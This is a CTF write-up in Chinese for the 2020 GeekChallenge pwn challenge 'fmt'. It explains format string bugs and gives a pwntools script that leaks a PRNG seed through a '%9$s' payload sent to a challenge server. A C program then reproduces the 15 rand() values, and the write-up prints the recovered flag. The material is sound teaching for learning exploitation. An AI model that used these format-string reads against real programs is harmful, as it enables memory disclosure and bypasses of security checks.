[2020 GeekChallange] Pwn fmt

it2023-01-05  60

[2020 GeekChallange] Pwn fmt

0x00 格式化字符串漏洞

提示格式化字符串漏洞 简单介绍一下原理: 在写C语言时,不免经常使用printf函数,这个函数有一个很常见的用法:

a = 24; printf("%d岁,是学生",a);

输出结果很显然是

24岁,是学生

但是如果出现这么个情况:

a = "%p.%p.%p.%p." printf(a)

它就会输出栈的后4个地址。

a = "%4$p" printf(a)

单独输出第四个地址

a = "%4$s" printf(a)

单独输出第四个地址里存的值

于是可以这样使用

gets(a) printf(a) addr = 0x114514 #填入你想要看的值的地址 io.sendline("%8$s"+p64(addr))

"%8$s"中的8具体应该填几之后会讲到,总之通过这个代码可以得到你想要的地址中的值。

0x01 逆向分析

把程序丢进64位IDA,可以看到有一个read,一个printf。 然后之后是一个for循环,需要连续输入15个随机数,由于随机数和时间挂钩,输错一个就退出,基本不可能爆破了。 但是,我们都知道计算机的随机是伪随机,是通过算法选择一个种子,然后基于这个种子生成随机数,也就是说,如果我们可以获得这个随机数的种子,那这15个数就可以推算出来。 那注意力就要放在这两个函数上: 可以看到,它是先生成种子,然后进行的read和printf,最后再用srand使用这个种子。 也就是说我们利用printf的格式化字符串漏洞,是可以读到seed的值的。

0x02 脚本

from pwn import * io = remote("81.69.0.47", 2222) seed_addr = 0x40409C print(seed_addr) io.recvuntil('hello world!\n') payload = '%9$s....' + p64(seed_addr) print(payload) io.sendline(payload) print(u64(io.recvuntil("....",drop = True).ljust(8,"\x00"))) io.interactive() #include <stdio.h> #include <stdlib.h> int main(){ seed = ;//这里填上一个脚本获得的seed srand(seed); for(int i = 0;i < 15;i++){ printf("%d\n",rand()); } }

先讲一下python脚本 seed_addr即seed的地址通过IDA获得,在main中双击seed可以得到 然后构造payload '%9s…‘是指读取后面第9个地址,至于为什么是第九个,是试出来的。 测试时输入’AAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.’ 会得到这样的结果: 可以看到之后第八个变量是0x4141414141414141即之前输入的AAAAAAAA。 所以,我们之前传的a前8位"AAAAAAA"(64位程序机器字长为8)被放在了第八个地址,那也就是说如果我printf(“AAAAAAAABBBBBBBB”)里面放8个A 8个B,那么前8个A会被存在printf后第八个地址,后8个B会被挤到第九个地址。 那就可以理解脚本中的payload:

payload = '%9$s....' + p64(seed_addr)

'%9$s…'被放在第八个地址(后面补4个点是为了刚好占满8个字节),seed的地址存放在第九个地址,使得%9$s刚好读到seed的地址中的内容。

最后,读出返回的seed值,用u64解包。

然后是C脚本,用获得的seed,生成15个随机数,一定和程序用随机函数生成的15个数字相同。之后把获得的16个数按顺序粘贴进去就可以获得权限。

0x03 运行过程

运行python脚本得到种子号1603170101

运行C脚本得到15个数(每个人每个时间都不一样)。 粘贴进去即可获得权限。 得到flag:SYC{FFFFFFmtttttt_ssssoooo_g0000d}

最新回复(0)